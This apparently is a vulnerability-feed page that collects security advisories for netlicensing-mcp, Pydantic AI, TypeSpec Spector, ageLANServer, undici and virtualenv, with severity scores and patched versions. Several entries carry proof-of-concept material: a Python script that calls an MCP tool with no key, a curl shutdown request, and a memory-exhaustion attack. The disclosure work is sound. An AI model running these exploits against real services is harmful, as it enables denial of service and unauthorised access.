 # 2. Launch vulnerable MCP server in HTTP mode with server-side API key
 env = os.environ.copy()
 env.update({
 "NETLICENSING_API_KEY": SERVER_API_KEY,
 "NETLICENSING_BASE_URL": f"http://127.0.0.1:{MOCK_PORT}/core/v2/rest",
 "MCP_HOST": "127.0.0.1",
 "MCP_PORT": str(MCP_PORT),
 })
 proc = subprocess.Popen(
 [sys.executable, "-m", "netlicensing_mcp.server", "http"],
 env=env,
 cwd="/app/repo",
 stdout=subprocess.PIPE,
 stderr=subprocess.PIPE,
 )
 print(f"[*] Vulnerable MCP server started (pid={proc.pid})", flush=True)

 ready = await _wait_for_mcp("127.0.0.1", MCP_PORT, timeout=15)
 if not ready:
 # /health may not exist; just wait a fixed time
 print("[*] /health not responding — waiting 5 s anyway ...", flush=True)
 await asyncio.sleep(5)

 if proc.poll() is not None:
 _, err = proc.communicate()
 print(f"[!] MCP server exited unexpectedly:\n{err.decode()}", flush=True)
 sys.exit(1)

 print(f"[*] MCP server ready on 127.0.0.1:{MCP_PORT}", flush=True)

 # 3. Attack: connect WITHOUT any API key and invoke a tool
 print(
 "\n[ATTACK] Sending MCP tool call to netlicensing_list_products "
 "with NO client API key ...",
 flush=True,
 )
 try:
 from mcp import ClientSession
 from mcp.client.streamable_http import streamablehttp_client

 async with streamablehttp_client(
 f"http://127.0.0.1:{MCP_PORT}/mcp"
 ) as (read, write, _):
 async with ClientSession(read, write) as session:
 await session.initialize()
 result = await session.call_tool(
 "netlicensing_list_products", {"filter": ""}
 )
 print(f"[*] Tool call succeeded: {result}", flush=True)
 except Exception as exc:
 print(f"[*] MCP client exception (may be normal upstream error): {exc}", flush=True)
 finally:
 proc.terminate()
 

Affected package ranges reported by GitHub:
netlicensing-mcp: <= 0.1.5
Action: GitHub lists first patched versions: netlicensing-mcp: 0.1.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pydantic AI: Unvalidated UploadedFile references in UI adapters allow server-side file access using the application's credentials
https://kevwire.com/record/CVE-2026-54249
Pydantic AI: Unvalidated UploadedFile references in UI adapters allow server-side file access using the application's credentials (Aug 13, 2026).
A client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.

UI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references — which point to a file by provider file ID or cloud-storage URI (e.g. `s3://…`, `gs://…`) — were forwarded without validation.
CVSS 6.8 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-h7p7-w5gc-xj3w).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54249&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-h7p7-w5gc-xj3w: https://github.com/advisories/GHSA-h7p7-w5gc-xj3w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54249&date=2026-10-25
### Summary

A client that can submit message history to a Pydantic AI UI adapter can reference arbitrary files in the application's model-provider or cloud-storage account. The server forwards the reference to the model provider, which fetches it using the server's own credentials, allowing the client to read files it should not have access to.

### Details

UI adapters reconstruct file parts from client-submitted message history and forward them to the model provider. File **URL** parts are validated against a scheme allowlist before being forwarded, but `UploadedFile` references — which point to a file by provider file ID or cloud-storage URI (e.g. `s3://…`, `gs://…`) — were forwarded without validation.

Because the provider resolves an `UploadedFile` using the server-side identity (IAM role, service account, or provider API key) rather than the client's, a client that crafts message history containing an attacker-chosen `UploadedFile` can cause the server to read objects belonging to its own account or to other tenants, given a referenceable identifier.

### Impact

Applications that pass untrusted client-submitted message history to an agent through a UI adapter (such as the Vercel AI adapter). Exploitation requires the attacker to reference a valid file identifier; depending on how the application names objects, such identifiers are not always unguessable.

### Patches

Upgrade to `1.106.0` (1.x) or `2.0.0b6` (the 2.x beta line), which validate `UploadedFile` references on client-submitted messages the same way file URLs are validated.

### Workarounds

If users cannot upgrade, do not pass untrusted client-submitted message history to the agent, or strip `UploadedFile` parts from incoming messages before running the agent.

Affected package ranges reported by GitHub:
pydantic-ai-slim: >= 1.65.0, < 1.106.0
pydantic-ai-slim: >= 2.0.0b1, < 2.0.0b6
pydantic-ai: >= 1.65.0, < 1.106.0
pydantic-ai: >= 2.0.0b1, < 2.0.0b6
Action: GitHub lists first patched versions: pydantic-ai-slim: 1.106.0; pydantic-ai-slim: 2.0.0b6; pydantic-ai: 1.106.0; pydantic-ai: 2.0.0b6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop
https://kevwire.com/record/GHSA-7q9c-hpx7-9cwm
TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop (Sep 4, 2026).
`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-7q9c-hpx7-9cwm).
Sources:
GitHub-reviewed advisory GHSA-7q9c-hpx7-9cwm: https://github.com/advisories/GHSA-7q9c-hpx7-9cwm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
### Summary

`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.

### Details

The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:

```ts
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
 logger.info("Received signal to stop server. Exiting...");
 res.status(202).end();
 setTimeout(() => {
 process.exit(0);
 });
});
```

The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).

The complete attack-reachable call chain is:

1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve ` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.
2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument.
3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes.
4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`.
5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication.
6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).

There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.

### PoC

**Prerequisites:**

```
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
```

**Step 1 — Start the mock server:**

```bash
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
```

Alternatively, use the provided Docker environment:

```bash
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
```

**Step 2 — Execute the exploit (single unauthenticated request):**

```bash
curl -i -X POST http:// :3000/.admin/stop
```

Using the provided PoC script:

```bash
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
```

**Step 3 — Observe the result:**

```
HTTP/1.1 202 Accepted
```

The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:

```
info Received signal to stop server. Exiting...
```

Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.

### Impact

This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.

The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.

Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.

### Reproduction artifacts

#### `Dockerfile`

```dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector

FROM node:22-slim

# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4

WORKDIR /poc

# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json

# Install only the npm packages actually used by the vulnerable code path:
# express — web framework (admin.ts, routes/index.ts, server.ts)
# picocolors — terminal colors (logger.ts)
RUN npm install express picocolors

# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------

# packages/spector/src/constants.ts
# Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/consta

Affected package ranges reported by GitHub:
@typespec/spector: <= 0.1.0-alpha.26
Action: GitHub lists first patched versions: @typespec/spector: 0.1.0-alpha.27. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service
https://kevwire.com/record/CVE-2026-107839
ageLANServer: Unbounded JSON Array Allocation in AoE3 Cloud `getFileURL` Endpoint Leads to Remote Denial of Service (Oct 9, 2026).
```go
type getFileURLRequest struct {
 Names i.Json[[]string] `json:"names"`
}

func GetFileURL(w http.ResponseWriter, r *http.Request) {
 var req getFileURLRequest
 err := i.Bind(r, &req)
 ...
 descriptions := make(i.A, len(req.Names.Data))
 for j, name := range req.Names.Data {
 ...
```
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-4jfq-pmq9-257h).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107839&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4jfq-pmq9-257h: https://github.com/advisories/GHSA-4jfq-pmq9-257h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107839&date=2026-10-25
### Summary
The AoE3 `POST /game/cloud/getFileURL` handler in `luskaner/ageLANServer`'s bundled game server decodes an attacker-controlled `names` JSON array and immediately allocates response storage sized directly from the array's length (`make(i.A, len(req.Names.Data))`), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with `Authentication = 'disabled'`, any network client can obtain a session through unauthenticated platform login and then send a single crafted request that forces the server to allocate memory proportional to attacker-chosen input. Dynamic testing against an unmodified build confirmed both large memory-amplification growth from a single request and a full server process kill via the kernel OOM killer when a memory-constrained instance received a few concurrent oversized requests. This is a high-severity, pre-authentication (self-registration only) remote denial-of-service vulnerability (CVSS 3.1 Base Score 7.5, CWE-400).

### Details
`server/internal/routes/game/cloud/getFileURL.go` defines the request struct and handler for the AoE3 cloud "get file URL" endpoint:

```go
type getFileURLRequest struct {
 Names i.Json[[]string] `json:"names"`
}

func GetFileURL(w http.ResponseWriter, r *http.Request) {
 var req getFileURLRequest
 err := i.Bind(r, &req)
 ...
 descriptions := make(i.A, len(req.Names.Data))
 for j, name := range req.Names.Data {
 ...
```

`Names` is typed as `i.Json[[]string]`, a wrapper whose `UnmarshalText` is invoked by `encoding/json` whenever the incoming JSON value for `names` is itself a string, so the attacker supplies a JSON-string-encoded array (e.g. `{"names":"[\"x\",\"x\",...]"}`). The request body is decoded in `server/internal/http.go`'s `Bind()` via `json.NewDecoder(r.Body).Decode(data)`, with no `http.MaxBytesReader`, no `LimitReader`, and no `MaxHeaderBytes` configured on the `http.Server` in `server/internal/cmd/root.go`. There is also no branch-neutral cap on `len(req.Names.Data)` — the same unbounded length is also used at `getFileURL.go:27` (`slices.Repeat(i.A{nil}, len(req.Names.Data))` when the cloud file cache is empty) in addition to the `make(i.A, len(req.Names.Data))` sink at line 30.

Because `len()` on the attacker-supplied slice is used directly as an allocation size with no upper bound, an attacker can force the server to allocate memory (and CPU cycles decoding/iterating) proportional to the size of a single HTTP request body, which is itself unbounded.

Reaching this code path requires only a valid session, not real game ownership or credentials:
- The endpoint is registered for the AoE3 title at `server/internal/routes/router/game.go:267`.
- `server/internal/routes/router/sessionMiddleware.go:23-36` only checks that `sessionID` resolves to an existing session — it performs no additional authorization.
- The default configuration `server/resources/config/config.toml` sets `Authentication = 'disabled'`. Combined with `server/internal/routes/game/login/platformlogin.go`, which issues a session for any client-supplied `accountType`/`platformUserID` without verifying it against a real platform, an attacker can obtain a valid `sessionID` with a single unauthenticated `platformlogin` request and no prior credentials.

Data flow (source → sink):
1. `server/resources/unix/start_age3.sh:4` (or `start_age3.bat`) starts the release server with `-e age3`, the default supported way to run the AoE3 server.
2. `server/internal/routes/router/game.go:267` registers `POST /game/cloud/getFileURL`.
3. `server/internal/routes/router/sessionMiddleware.go:23-36` accepts any request bearing a valid `sessionID`.
4. `server/internal/http.go` decodes the JSON body into `getFileURLRequest` with no size limiting.
5. `server/internal/routes/game/cloud/getFileURL.go:13-19` binds the attacker-controlled `names` array into `req.Names`.
6. `server/internal/routes/game/cloud/getFileURL.go:27` and `:30` allocate slices sized directly by `len(req.Names.Data)`.

### PoC
Environment: Docker (see `Dockerfile`), which builds the **unmodified** `server` and `genCert` binaries directly from the repository source at commit `405b9a9` (equivalent to the previously reported `870b90c`) and starts the AoE3 server (`./server -e age3`) with the shipped default configuration (`Authentication = 'disabled'`), only disabling LAN announcement broadcast since it is irrelevant to the sandboxed reproduction.

Build and run:
```bash
docker build -f vuln-001/Dockerfile -t agelan-vuln001 repo
docker run -d --name agelan-vuln001-test -p 8443:443 --memory=300m agelan-vuln001
```

Attack script: `poc.py` (see file for full source). At a high level it:
1. Calls `POST /game/login/platformlogin` with an arbitrary Steam-style `accountType`/`platformUserID`/`macAddress` to obtain a session id, exploiting the default `Authentication = 'disabled'` setting.
2. Sends a small baseline `POST /game/cloud/getFileURL?sessionID= ` request (`names` array with 5 elements) and records server RSS before/after via `docker exec ... cat /proc/1/status`.
3. Sends a single request with `names` containing 2,000,000 elements and records the resulting RSS growth relative to request size (memory amplification).
4. Against the same container restarted with `--memory=300m`, fires 3 concurrent requests each with `names` containing 3,000,000 elements, then inspects `docker inspect` state to check for an OOM kill.

```bash
python3 poc.py --host 127.0.0.1 --port 8443 --container agelan-vuln001-test
```

Observed results (Phase 2 dynamic reproduction, unmodified source):
- Baseline request (`names` count = 5, 43 request bytes): server RSS unchanged (16928 KB → 16928 KB).
- Single moderately large request (`names` count = 2,000,000, 12,000,013 request bytes): server RSS jumped from 16,984 KB to 224,724 KB — a growth of 207,740 KB from a ~11.4 MB request (~17.73x amplification of request size in RSS growth).
- Concurrent attack

Affected package ranges reported by GitHub:
github.com/luskaner/ageLANServer/server: < 1.8.2-0.20260809203301-1dd40166a593
Action: GitHub lists first patched versions: github.com/luskaner/ageLANServer/server: 1.8.2-0.20260809203301-1dd40166a593. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### undici WebSocket client vulnerable to denial of service via cumulative fragment bypass
https://kevwire.com/record/CVE-2026-9675
undici WebSocket client vulnerable to denial of service via cumulative fragment bypass (Jun 18, 2026).
The undici WebSocket client enforces `maxPayloadSize` per-frame but does not enforce the cumulative size of fragmented uncompressed messages. A malicious WebSocket server can stream many small fragments that each pass per-frame validation but collectively exceed the configured limit, causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.

Affected applications are those using the undici WebSocket client (`new WebSocket(...)`) that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-38rv-x7px-6hhq).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-9675&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-38rv-x7px-6hhq: https://github.com/advisories/GHSA-38rv-x7px-6hhq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-9675&date=2026-10-25
## Impact

The undici WebSocket client enforces `maxPayloadSize` per-frame but does not enforce the cumulative size of fragmented uncompressed messages. A malicious WebSocket server can stream many small fragments that each pass per-frame validation but collectively exceed the configured limit, causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.

Affected applications are those using the undici WebSocket client (`new WebSocket(...)`) that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.

This is a regression specific to undici 8.1.0. The 6.25.0 line shipped the equivalent cumulative check from the start and is unaffected. The 7.x line never had the `maxPayloadSize` feature and is also unaffected.

## Patches

Upgrade to undici >= 8.5.0.

## Workarounds

No workaround is available. The fix must be applied through an upgrade.

Affected package ranges reported by GitHub:
undici: >= 8.0.0, < 8.5.0
Action: GitHub lists first patched versions: undici: 8.5.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Builtin creation follows linked environment directories
https://kevwire.com/record/CVE-2026-113716
virtualenv: Builtin creation follows linked environment directories (Oct 21, 2026).
The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-cw65-gx24-rc82).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113716&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cw65-gx24-rc82: https://github.com/advisories/GHSA-cw65-gx24-rc82
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113716&date=2026-10-25
## Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those
directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Directory preparation before environment files are created.

## Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user
must have access to the linked destination. This does not require write access to the target itself under the other
account.

## Affected code

The relevant 21.14.8 source is in
[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),
[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).

## Mechanism

The builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing
